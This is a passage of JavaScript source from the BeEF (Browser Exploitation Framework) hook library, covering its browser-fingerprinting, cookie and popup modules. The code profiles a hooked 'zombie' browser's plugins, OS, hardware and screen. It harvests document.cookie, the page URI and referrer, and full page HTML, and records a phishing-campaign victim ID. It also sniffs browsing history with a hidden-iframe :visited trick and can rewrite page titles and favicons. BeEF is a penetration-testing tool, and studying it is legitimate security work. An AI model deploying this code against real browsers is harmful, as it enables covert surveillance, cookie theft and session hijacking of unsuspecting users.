7266 *
7267 * @example: if ( beef.browser.hasQuickTime() ) { ... }
7268 */
7269 hasQuickTime: function () {
7270
7271 var quicktime = false;
7272
7273 if (this.capabilities()["navigator.plugins"]) {
7274
7275 for (i = 0; i < navigator.plugins.length; i++) {
7276
7277 if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
7278 quicktime = true;
7279 }
7280
7281 }
7282
7283 // Has navigator.plugins
7284 } else {
7285
7286 try {
7287
7288 var qt_test = new ActiveXObject('QuickTime.QuickTime');
7289
7290 } catch (e) {
7291 beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
7292 }
7293
7294 if (qt_test) {
7295 quicktime = true;
7296 }
7297
7298 }
7299
7300 return quicktime;
7301
7302 },
7303
7304 /**
7305 * Checks if the zombie has the RealPlayer plugin installed.
7306 * @return: {Boolean} true or false.
7307 *
7308 * @example: if ( beef.browser.hasRealPlayer() ) { ... }
7309 */
7310 hasRealPlayer: function () {
7311
7312 var realplayer = false;
7313
7314 if (this.capabilities()["navigator.plugins"]) {
7315
7316
7317 for (i = 0; i < navigator.plugins.length; i++) {
7318
7319 if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
7320 realplayer = true;
7321 }
7322
7323 }
7324
7325 // has navigator.plugins
7326 } else {
7327
7328 var definedControls = [
7329 'RealPlayer',
7330 'rmocx.RealPlayer G2 Control',
7331 'rmocx.RealPlayer G2 Control.1',
7332 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
7333 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
7334 ];
7335
7336 for (var i = 0; i < definedControls.length; i++) {
7337
7338 try {
7339 var rp_test = new ActiveXObject(definedControls[i]);
7340 } catch (e) {
7341 beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
7342 }
7343
7344 if (rp_test) {
7345 realplayer = true;
7346
7347 }
7348 }
7349 }
7350
7351 return realplayer;
7352
7353 },
7354
7355 /**
7356 * Checks if the zombie has the Windows Media Player plugin installed.
7357 * @return: {Boolean} true or false.
7358 *
7359 * @example: if ( beef.browser.hasWMP() ) { ... }
7360 */
7361 hasWMP: function () {
7362
7363 var wmp = false;
7364
7365 if (this.capabilities()["navigator.plugins"]) {
7366
7367
7368 for (i = 0; i < navigator.plugins.length; i++) {
7369
7370 if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
7371 wmp = true;
7372 }
7373
7374 }
7375
7376 // Has navigator.plugins
7377 } else {
7378
7379 try {
7380
7381 var wmp_test = new ActiveXObject('WMPlayer.OCX');
7382
7383 } catch (e) {
7384 beef.debug("Creating WMP ActiveX object failed: " + e.message);
7385 }
7386
7387 if (wmp_test) {
7388 wmp = true;
7389 }
7390
7391 }
7392
7393 return wmp;
7394
7395 },
7396
7397 /**
7398 * Checks if VLC is installed
7399 * @return: {Boolean} true or false
7400 **/
7401 hasVLC: function () {
7402 var vlc = false;
7403 if (!this.type().IE) {
7404 for (i = 0; i < navigator.plugins.length; i++) {
7405 if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
7406 vlc = true;
7407 }
7408 }
7409 } else {
7410 try {
7411 control = new ActiveXObject("VideoLAN.VLCPlugin.2");
7412 vlc = true;
7413 } catch (e) {
7414 beef.debug("Creating VLC ActiveX object failed: " + e.message);
7415 }
7416 }
7417 return vlc;
7418 },
7419
7420 /**
7421 * Checks if the zombie has Java enabled.
7422 * @return: {Boolean} true or false.
7423 *
7424 * @example: if(beef.browser.javaEnabled()) { ... }
7425 */
7426 javaEnabled: function () {
7427
7428 return navigator.javaEnabled();
7429
7430 },
7431
7432 /**
7433 * Checks if the Phonegap API is available from the hooked origin.
7434 * @return: {Boolean} true or false.
7435 *
7436 * @example: if(beef.browser.hasPhonegap()) { ... }
7437 */
7438 hasPhonegap: function () {
7439 var result = false;
7440
7441 try {
7442 if (!!device.phonegap || !!device.cordova) result = true; else result = false;
7443 }
7444 catch (e) {
7445 result = false;
7446 }
7447 return result;
7448 },
7449
7450 /**
7451 * Checks if the browser supports CORS
7452 * @return: {Boolean} true or false.
7453 *
7454 * @example: if(beef.browser.hasCors()) { ... }
7455 */
7456 hasCors: function () {
7457 if ('withCredentials' in new XMLHttpRequest())
7458 return true;
7459 else if (typeof XDomainRequest !== "undefined")
7460 return true;
7461 else
7462 return false;
7463 },
7464
7465 /**
7466 * Checks if the zombie has Java installed and enabled.
7467 * @return: {Boolean} true or false.
7468 *
7469 * @example: if(beef.browser.hasJava()) { ... }
7470 */
7471 hasJava: function () {
7472 if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
7473 return true;
7474 } else {
7475 return false;
7476 }
7477 },
7478
7479 /**
7480 * Checks if the zombie has VBScript enabled.
7481 * @return: {Boolean} true or false.
7482 *
7483 * @example: if(beef.browser.hasVBScript()) { ... }
7484 */
7485 hasVBScript: function () {
7486 if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
7487 return true;
7488 } else {
7489 return false;
7490 }
7491 },
7492
7493 /**
7494 * Returns the list of plugins installed in the browser.
7495 */
7496 getPlugins: function () {
7497
7498 var results;
7499 Array.prototype.unique = function () {
7500 var o = {}, i, l = this.length, r = [];
7501 for (i = 0; i < l; i += 1) o[this[i]] = this[i];
7502 for (i in o) r.push(o[i]);
7503 return r;
7504 };
7505
7506 // Things lacking navigator.plugins
7507 if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
7508
7509 // All other browsers that support navigator.plugins
7510 else if (navigator.plugins && navigator.plugins.length > 0) {
7511 results = new Array();
7512 for (var i = 0; i < navigator.plugins.length; i++) {
7513
7514 // Firefox returns exact plugin versions
7515 if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
7516
7517 // Webkit and Presto (Opera)
7518 // Don't support the version attribute
7519 // Sometimes store the version in description (Real, Adobe)
7520 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
7521 }
7522 results = results.unique().toString();
7523
7524 // All browsers that don't support navigator.plugins
7525 } else {
7526 results = new Array();
7527 //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
7528 // On linux sistem the "version" slot is empty so I'll attach "description" after version
7529 var plugins = {
7530
7531 'AdobeAcrobat': {
7532 'control': 'Adobe Acrobat',
7533 'return': function (control) {
7534 try {
7535 version = navigator.plugins["Adobe Acrobat"]["description"];
7536 return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
7537
7538 }
7539 catch (e) {
7540 }
7541
7542
7543 }},
7544 'Flash': {
7545 'control': 'Shockwave Flash',
7546 'return': function (control) {
7547 try {
7548 version = navigator.plugins["Shockwave Flash"]["description"];
7549 return 'Flash Player Version ' + version; //+ " description "+ filename;
7550 }
7551
7552 catch (e) {
7553 }
7554 }},
7555 'Google_Talk_Plugin_Accelerator': {
7556 'control': 'Google Talk Plugin Video Accelerator',
7557 'return': function (control) {
7558
7559 try {
7560 version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
7561 return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
7562 }
7563 catch (e) {
7564 }
7565 }},
7566 'Google_Talk_Plugin': {
7567 'control': 'Google Talk Plugin',
7568 'return': function (control) {
7569 try {
7570 version = navigator.plugins['Google Talk Plugin']["description"];
7571 return 'Google Talk Plugin Version ' + version;// " description "+ filename;
7572 }
7573 catch (e) {
7574 }
7575 }},
7576 'Facebook_Video_Calling_Plugin': {
7577 'control': 'Facebook Video Calling Plugin',
7578 'return': function (control) {
7579 try {
7580 version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
7581 return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
7582 }
7583 catch (e) {
7584 }
7585 }},
7586 'Google_Update': {
7587 'control': 'Google Update',
7588 'return': function (control) {
7589 try {
7590 version = navigator.plugins["Google Update"]["description"];
7591 return 'Google Update Version ' + version//+ " description "+ filename;
7592 }
7593 catch (e) {
7594 }
7595 }},
7596 'Windows_Activation_Technologies': {
7597 'control': 'Windows Activation Technologies',
7598 'return': function (control) {
7599 try {
7600 version = navigator.plugins["Windows Activation Technologies"]["description"];
7601 return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
7602 }
7603 catch (e) {
7604 }
7605
7606 }},
7607 'VLC_Web_Plugin': {
7608 'control': 'VLC Web Plugin',
7609 'return': function (control) {
7610 try {
7611 version = navigator.plugins["VLC Web Plugin"]["description"];
7612 return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
7613 }
7614 catch (e) {
7615 }
7616 }},
7617 'Google_Earth_Plugin': {
7618 'control': 'Google Earth Plugin',
7619
7620 'return': function (control) {
7621 try {
7622 version = navigator.plugins['Google Earth Plugin']["description"];
7623 return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
7624 }
7625 catch (e) {
7626 }
7627 }},
7628 'FoxitReader_Plugin': {
7629 'control': 'FoxitReader Plugin',
7630 'return': function (control) {
7631 try {
7632 version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
7633 return 'FoxitReader Plugin Version ' + version;
7634 } catch (e) {
7635 }
7636 }}
7637 };
7638
7639 var c = 0;
7640 for (var i in plugins) {
7641 //each element od plugins
7642 var control = plugins[i]['control'];
7643 try {
7644 var version = plugins[i]['return'](control);
7645 if (version) {
7646 results[c] = version;
7647 c = c + 1;
7648 }
7649 }
7650 catch (e) {
7651 }
7652
7653 }
7654 }
7655 // Return results
7656 return results;
7657 },
7658
7659 /**
7660 * Returns a list of plugins detected by IE. This is a hack because IE doesn't
7661 * support navigator.plugins
7662 */
7663 getPluginsIE: function () {
7664 var results = '';
7665 var plugins = {'AdobePDF6': {
7666 'control': 'PDF.PdfCtrl',
7667 'return': function (control) {
7668 version = control.getVersions().split(',');
7669 version = version[0].split('=');
7670 return 'Acrobat Reader v' + parseFloat(version[1]);
7671 }},
7672 'AdobePDF7': {
7673 'control': 'AcroPDF.PDF',
7674 'return': function (control) {
7675 version = control.getVersions().split(',');
7676 version = version[0].split('=');
7677 return 'Acrobat Reader v' + parseFloat(version[1]);
7678 }},
7679 'Flash': {
7680 'control': 'ShockwaveFlash.ShockwaveFlash',
7681 'return': function (control) {
7682 version = control.getVariable('$version').substring(4);
7683 return 'Flash Player v' + version.replace(/,/g, ".");
7684 }},
7685 'Quicktime': {
7686 'control': 'QuickTime.QuickTime',
7687 'return': function (control) {
7688 return 'QuickTime Player';
7689 }},
7690 'RealPlayer': {
7691 'control': 'RealPlayer',
7692 'return': function (control) {
7693 version = control.getVersionInfo();
7694 return 'RealPlayer v' + parseFloat(version);
7695 }},
7696 'Shockwave': {
7697 'control': 'SWCtl.SWCtl',
7698 'return': function (control) {
7699 version = control.ShockwaveVersion('').split('r');
7700 return 'Shockwave v' + parseFloat(version[0]);
7701 }},
7702 'WindowsMediaPlayer': {
7703 'control': 'WMPlayer.OCX',
7704 'return': function (control) {
7705 return 'Windows Media Player v' + parseFloat(control.versionInfo);
7706 }},
7707 'FoxitReaderPlugin': {
7708 'control': 'FoxitReader.FoxitReaderCtl.1',
7709 'return': function (control) {
7710 return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
7711 }}
7712 };
7713 if (window.ActiveXObject) {
7714 var j = 0;
7715 for (var i in plugins) {
7716 var control = null;
7717 var version = null;
7718 try {
7719 control = new ActiveXObject(plugins[i]['control']);
7720 } catch (e) {
7721 }
7722 if (control) {
7723 if (j != 0)
7724 results += ', ';
7725 results += plugins[i]['return'](control);
7726 j++;
7727 }
7728 }
7729 }
7730 return results;
7731 },
7732
7733 /**
7734 * Returns zombie screen size and color depth.
7735 */
7736 getScreenSize: function () {
7737 return {
7738 width: window.screen.width,
7739 height: window.screen.height,
7740 colordepth: window.screen.colorDepth
7741 }
7742 },
7743
7744 /**
7745 * Returns zombie browser window size.
7746 * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
7747 */
7748 getWindowSize: function () {
7749 var myWidth = 0, myHeight = 0;
7750 if (typeof( window.innerWidth ) == 'number') {
7751 // Non-IE
7752 myWidth = window.innerWidth;
7753 myHeight = window.innerHeight;
7754 } else if (document.documentElement && ( document.documentElement.clientWidth ||
7755
7756document.documentElement.clientHeight )) {
7757 // IE 6+ in 'standards compliant mode'
7758 myWidth = document.documentElement.clientWidth;
7759 myHeight = document.documentElement.clientHeight;
7760 } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
7761 // IE 4 compatible
7762 myWidth = document.body.clientWidth;
7763 myHeight = document.body.clientHeight;
7764 }
7765 return {
7766 width: myWidth,
7767 height: myHeight
7768 }
7769 },
7770
7771 /**
7772 * Construct hash from browser details. This function is used to grab the browser details during the hooking
7773
7774process
7775 */
7776 getDetails: function () {
7777 var details = new Array();
7778
7779 var browser_name = beef.browser.getBrowserName();
7780 var browser_version = beef.browser.getBrowserVersion();
7781 var browser_reported_name = beef.browser.getBrowserReportedName();
7782 var browser_language = beef.browser.getBrowserLanguage();
7783 var page_title = (document.title) ? document.title : "Unknown";
7784 var page_uri = (document.location.href) ? document.location.href : "Unknown";
7785 var page_referrer = (document.referrer) ? document.referrer : "Unknown";
7786 var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
7787 switch (document.location.protocol) {
7788 case "http:":
7789 var default_port = "80";
7790 break;
7791 case "https:":
7792 var default_port = "443";
7793 break
7794 default:
7795 var default_port = "";
7796 }
7797 var hostport = (document.location.port) ? document.location.port : default_port;
7798 var browser_plugins = beef.browser.getPlugins();
7799 var date_stamp = new Date().toString();
7800 var os_name = beef.os.getName();
7801 var os_version = beef.os.getVersion();
7802 var default_browser = beef.os.getDefaultBrowser();
7803 var hw_name = beef.hardware.getName();
7804 var cpu_type = beef.hardware.cpuType();
7805 var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
7806 var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ?
7807
7808navigator.platform : null;
7809 var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
7810 if (value == true) return value; else if (typeof value == 'object') return value; else return;
7811 });
7812 var screen_size = beef.browser.getScreenSize();
7813 var window_size = beef.browser.getWindowSize();
7814 var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
7815 var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
7816 var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
7817 var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
7818 var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
7819 var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
7820 var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
7821 var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
7822 var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
7823 var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
7824 try {
7825 var cookies = document.cookie;
7826 var veglol = beef.browser.cookie.veganLol();
7827 var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
7828 var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
7829 if (cookies) details['Cookies'] = cookies;
7830 if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
7831 if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
7832 } catch (e) {
7833 // the hooked origin is using HttpOnly. EverCookie is persisting the BeEF hook in a different way,
7834 // and there is no reason to read cookies at this point
7835 details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
7836 details['hasSessionCookies'] = "No";
7837 details['hasPersistentCookies'] = "No";
7838 }
7839
7840 if (browser_name) details['BrowserName'] = browser_name;
7841 if (browser_version) details['BrowserVersion'] = browser_version;
7842 if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
7843 if (browser_language) details['BrowserLanguage'] = browser_language;
7844 if (page_title) details['PageTitle'] = page_title;
7845 if (page_uri) details['PageURI'] = page_uri;
7846 if (page_referrer) details['PageReferrer'] = page_referrer;
7847 if (hostname) details['HostName'] = hostname;
7848 if (hostport) details['HostPort'] = hostport;
7849 if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
7850 if (os_name) details['OsName'] = os_name;
7851 if (os_version) details['OsVersion'] = os_version;
7852 if (default_browser) details['DefaultBrowser'] = default_browser;
7853 if (hw_name) details['Hardware'] = hw_name;
7854 if (cpu_type) details['CPU'] = cpu_type;
7855 if (touch_enabled) details['TouchEnabled'] = touch_enabled;
7856 if (date_stamp) details['DateStamp'] = date_stamp;
7857 if (browser_platform) details['BrowserPlatform'] = browser_platform;
7858 if (browser_type) details['BrowserType'] = browser_type;
7859 if (screen_size) details['ScreenSize'] = screen_size;
7860 if (window_size) details['WindowSize'] = window_size;
7861 if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
7862 if (has_flash) details['HasFlash'] = has_flash;
7863 if (has_phonegap) details['HasPhonegap'] = has_phonegap;
7864 if (has_web_socket) details['HasWebSocket'] = has_web_socket;
7865 if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
7866 if (has_webrtc) details['HasWebRTC'] = has_webrtc;
7867 if (has_activex) details['HasActiveX'] = has_activex;
7868 if (has_quicktime) details['HasQuickTime'] = has_quicktime;
7869 if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
7870 if (has_wmp) details['HasWMP'] = has_wmp;
7871
7872 var pf_integration = "";
7873 if (pf_integration) {
7874 var pf_param = "uid";
7875 var pf_victim_uid = "";
7876 var location_search = window.location.search.substring(1);
7877 var params = location_search.split('&');
7878 for (var i = 0; i < params.length; i++) {
7879 var param_entry = params[i].split('=');
7880 if (param_entry[0] == pf_param) {
7881 pf_victim_uid = param_entry[1];
7882 details['PhishingFrenzyUID'] = pf_victim_uid;
7883 break;
7884 }
7885 }
7886 } else {
7887 details['PhishingFrenzyUID'] = "N/A";
7888 }
7889
7890 return details;
7891 },
7892
7893 /**
7894 * Returns boolean value depending on whether the browser supports ActiveX
7895 */
7896 hasActiveX: function () {
7897 return !!window.ActiveXObject;
7898 },
7899
7900 /**
7901 * Returns boolean value depending on whether the browser supports WebRTC
7902 */
7903 hasWebRTC: function () {
7904 return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
7905 },
7906
7907 /**
7908 * Returns boolean value depending on whether the browser supports Silverlight
7909 */
7910 hasSilverlight: function () {
7911 var result = false;
7912
7913 try {
7914 if (beef.browser.isIE()) {
7915 var slControl = new ActiveXObject('AgControl.AgControl');
7916 result = true;
7917 } else if (navigator.plugins["Silverlight Plug-In"]) {
7918 result = true;
7919 }
7920 } catch (e) {
7921 result = false;
7922 }
7923
7924 return result;
7925 },
7926
7927 /**
7928 * Returns array of results, whether or not the target zombie has visited the specified URL
7929 */
7930 hasVisited: function (urls) {
7931 var results = new Array();
7932 var iframe = beef.dom.createInvisibleIframe();
7933 var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
7934 ifdoc.open();
7935 ifdoc.write('<style>a:visited{width:0px !important;}</style>');
7936 ifdoc.close();
7937 urls = urls.split("\n");
7938 var count = 0;
7939 for (var i in urls) {
7940 var u = urls[i];
7941 if (u != "" || u != null) {
7942 var success = false;
7943 var a = ifdoc.createElement('a');
7944 a.href = u;
7945 ifdoc.body.appendChild(a);
7946 var width = null;
7947 (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a,
7948
7949null).getPropertyValue("width");
7950 if (width == '0px') {
7951 success = true;
7952 }
7953 results.push({'url': u, 'visited': success});
7954 count++;
7955 }
7956 }
7957 beef.dom.removeElement(iframe);
7958 if (results.length == 0) {
7959 return false;
7960 }
7961 return results;
7962 },
7963
7964 /**
7965 * Checks if the zombie has Web Sockets enabled.
7966 * @return: {Boolean} true or false.
7967 * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
7968 * */
7969 hasWebSocket: function () {
7970 return !!window.WebSocket || !!window.MozWebSocket;
7971 },
7972
7973 /**
7974 * Checks if the zombie has Google Gears installed.
7975 * @return: {Boolean} true or false.
7976 *
7977 * @from: https://code.google.com/apis/gears/gears_init.js
7978 * */
7979 hasGoogleGears: function () {
7980
7981 var ggfactory = null;
7982
7983 // Chrome
7984 if (window.google && google.gears) return true;
7985
7986 // Firefox
7987 if (typeof GearsFactory != 'undefined') {
7988 ggfactory = new GearsFactory();
7989 } else {
7990 // IE
7991 try {
7992 ggfactory = new ActiveXObject('Gears.Factory');
7993 // IE Mobile on WinCE.
7994 if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
7995 ggfactory.privateSetGlobalObject(this);
7996 }
7997 } catch (e) {
7998 // Safari
7999 if ((typeof navigator.mimeTypes != 'undefined')
8000 && navigator.mimeTypes["application/x-googlegears"]) {
8001 ggfactory = document.createElement("object");
8002 ggfactory.style.display = "none";
8003 ggfactory.width = 0;
8004 ggfactory.height = 0;
8005 ggfactory.type = "application/x-googlegears";
8006 document.documentElement.appendChild(ggfactory);
8007 if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
8008 }
8009 }
8010 }
8011 if (!ggfactory) return false; else return true;
8012 },
8013
8014 /**
8015 * Checks if the zombie has Foxit PDF reader plugin.
8016 * @return: {Boolean} true or false.
8017 *
8018 * @example: if(beef.browser.hasFoxit()) { ... }
8019 * */
8020 hasFoxit: function () {
8021
8022 var foxitplugin = false;
8023
8024 try {
8025 if (beef.browser.isIE()) {
8026 var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
8027 foxitplugin = true;
8028 } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
8029 foxitplugin = true;
8030 }
8031 } catch (e) {
8032 foxitplugin = false;
8033 }
8034
8035 return foxitplugin;
8036 },
8037
8038 /**
8039 * Returns the page head HTML
8040 **/
8041 getPageHead: function () {
8042 var html_head;
8043 try {
8044 html_head = document.head.innerHTML.toString();
8045 } catch (e) {
8046 }
8047 return html_head;
8048 },
8049
8050 /**
8051 * Returns the page body HTML
8052 **/
8053 getPageBody: function () {
8054 var html_body;
8055 try {
8056 html_body = document.body.innerHTML.toString();
8057 } catch (e) {
8058 }
8059 return html_body;
8060 },
8061
8062 /**
8063 * Dynamically changes the favicon: works in Firefox, Chrome and Opera
8064 **/
8065 changeFavicon: function (favicon_url) {
8066 var iframe = null;
8067 if (this.isC()) {
8068 iframe = document.createElement('iframe');
8069 iframe.src = 'about:blank';
8070 iframe.style.display = 'none';
8071 document.body.appendChild(iframe);
8072 }
8073 var link = document.createElement('link'),
8074 oldLink = document.getElementById('dynamic-favicon');
8075 link.id = 'dynamic-favicon';
8076 link.rel = 'shortcut icon';
8077 link.href = favicon_url;
8078 if (oldLink) document.head.removeChild(oldLink);
8079 document.head.appendChild(link);
8080 if (this.isC()) iframe.src += '';
8081 },
8082
8083 /**
8084 * Changes page title
8085 **/
8086 changePageTitle: function (title) {
8087 document.title = title;
8088 },
8089
8090 /**
8091 * Get the browser language
8092 */
8093 getBrowserLanguage: function () {
8094 var l = 'Unknown';
8095 try {
8096 l = window.navigator.userLanguage || window.navigator.language;
8097 } catch (e) {
8098 }
8099 return l;
8100 },
8101
8102 /**
8103 * A function that gets the max number of simultaneous connections the
8104 * browser can make per origin, or globally on all origin.
8105 *
8106 * This code is based on research from browserspy.dk
8107 *
8108 * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
8109 * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
8110 * the number of connections to the callback function as "this"
8111 *
8112 * example usage:
8113 * $j.when(getMaxConnections()).done(function(){
8114 * console.debug("Max Connections: " + this);
8115 * });
8116 *
8117 */
8118 getMaxConnections: function (scope) {
8119
8120 var imagesCount = 30; // Max number of images to test
8121 var secondsTimeout = 5; // Image load timeout threashold
8122 var testUrl = ""; // The image testing service URL
8123
8124 // User broserspy.dk max connections service URL.
8125 if (scope == 'PER_DOMAIN')
8126 testUrl = "http://browserspy.dk/connections.php?img=1&random=";
8127 else
8128 // The token will be replaced by a different number with each request (different origin).
8129 testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
8130
8131 var imagesLoaded = 0; // Number of responding images before timeout.
8132 var imagesRequested = 0; // Number of requested images.
8133 var testImages = new Array(); // Array of all images.
8134 var deferredObject = $j.Deferred(); // A jquery Deferred object.
8135
8136 for (var i = 1; i <= imagesCount; i++) {
8137 // Asynchronously request image.
8138 testImages[i] =
8139 $j.ajax({
8140 type: "get",
8141 dataType: true,
8142 url: (testUrl.replace("<token>", i)) + Math.random(),
8143 data: "",
8144 timeout: (secondsTimeout * 1000),
8145
8146 // Function on completion of request.
8147 complete: function (jqXHR, textStatus) {
8148
8149 imagesRequested++;
8150
8151 // If the image returns a 200 or a 302, the text Status is "error", else null
8152 if (textStatus == "error") {
8153 imagesLoaded++;
8154 }
8155
8156 // If all images requested
8157 if (imagesRequested >= imagesCount) {
8158 // resolve the deferred object passing the number of loaded images.
8159 deferredObject.resolveWith(imagesLoaded);
8160 }
8161 }
8162 });
8163
8164 }
8165
8166 // Return a promise to resolve the deffered object when the images are loaded.
8167 return deferredObject.promise();
8168
8169 }
8170
8171};
8172
8173beef.regCmp('beef.browser');
8174
8175
8176//
8177// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8178// Browser Exploitation Framework (BeEF) - http://beefproject.com
8179// See the file 'doc/COPYING' for copying permission
8180//
8181
8182/*!
8183 * @literal object: beef.browser.cookie
8184 *
8185 * Provides fuctions for working with cookies.
8186 * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
8187 * Original author unknown.
8188 *
8189 */
8190beef.browser.cookie = {
8191
8192 setCookie: function (name, value, expires, path, domain, secure)
8193 {
8194
8195 var today = new Date();
8196 today.setTime( today.getTime() );
8197
8198 if ( expires )
8199 {
8200 expires = expires * 1000 * 60 * 60 * 24;
8201 }
8202 var expires_date = new Date( today.getTime() + (expires) );
8203
8204 document.cookie = name + "=" +escape( value ) +
8205 ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
8206 ( ( path ) ? ";path=" + path : "" ) +
8207 ( ( domain ) ? ";domain=" + domain : "" ) +
8208 ( ( secure ) ? ";secure" : "" );
8209 },
8210
8211 getCookie: function(name)
8212 {
8213 var a_all_cookies = document.cookie.split( ';' );
8214 var a_temp_cookie = '';
8215 var cookie_name = '';
8216 var cookie_value = '';
8217 var b_cookie_found = false;
8218
8219 for ( i = 0; i < a_all_cookies.length; i++ )
8220 {
8221 a_temp_cookie = a_all_cookies[i].split( '=' );
8222 cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
8223 if ( cookie_name == name )
8224 {
8225 b_cookie_found = true;
8226 if ( a_temp_cookie.length > 1 )
8227 {
8228 cookie_value = unescape( a_temp_cookie
8229
8230[1].replace(/^\s+|\s+$/g, '') );
8231 }
8232 return cookie_value;
8233 break;
8234 }
8235 a_temp_cookie = null;
8236 cookie_name = '';
8237 }
8238 if ( !b_cookie_found )
8239 {
8240 return null;
8241 }
8242 },
8243
8244 deleteCookie: function (name, path, domain)
8245 {
8246 if ( this.getCookie(name) ) document.cookie = name + "=" +
8247 ( ( path ) ? ";path=" + path : "") +
8248 ( ( domain ) ? ";domain=" + domain : "" ) +
8249 ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
8250 },
8251
8252 veganLol: function (){
8253 var to_hell= '';
8254 var min = 17;
8255 var max = 25;
8256 var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
8257
8258 var grunt = function(){
8259 var moo = Math.floor(Math.random() * 62);
8260 var char = '';
8261 if(moo < 36){
8262 char = String.fromCharCode(moo + 55);
8263 }else{
8264 char = String.fromCharCode(moo + 61);
8265 }
8266 if(char != ';' && char != '='){
8267 return char;
8268 }else{
8269 return 'x';
8270 }
8271 };
8272
8273 while(to_hell.length < lol_length){
8274 to_hell += grunt();
8275 }
8276 return to_hell;
8277 },
8278
8279 hasSessionCookies: function (name){
8280 this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
8281
8282 cookiesEnabled = (this.getCookie(name) == null)? false:true;
8283 this.deleteCookie(name, '/', '');
8284 return cookiesEnabled;
8285
8286 },
8287
8288 hasPersistentCookies: function (name){
8289 this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
8290
8291 cookiesEnabled = (this.getCookie(name) == null)? false:true;
8292 this.deleteCookie(name, '/', '');
8293 return cookiesEnabled;
8294
8295 }
8296
8297};
8298
8299beef.regCmp('beef.browser.cookie');
8300
8301//
8302// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8303// Browser Exploitation Framework (BeEF) - http://beefproject.com
8304// See the file 'doc/COPYING' for copying permission
8305//
8306
8307/*!
8308 * @literal object: beef.browser.popup
8309 *
8310 * Provides fuctions for working with cookies.
8311 * Several functions adopted from http://davidwalsh.name/popup-block-javascript
8312 * Original author unknown.
8313 *
8314 */
8315beef.browser.popup = {
8316
8317 blocker_enabled: function ()
8318 {
8319 screenParams = beef.browser.getScreenSize();
8320 var popUp = window.open('/', 'windowName0', 'width=1, height=1,
8321
8322left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
8323 if (popUp == null || typeof(popUp)=='undefined') {
8324 return true;
8325 } else {
8326 popUp.close();
8327 return false;
8328 }
8329 }
8330};
8331
8332beef.regCmp('beef.browser.popup');
8333
8334
8335//
8336// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
8337// Browser Exploitation Framework (BeEF) - http://beefproject.com
8338// See the file 'doc/COPYING' for copying permission
8339//
8340
8341/*!
8342 * @literal object: beef.session
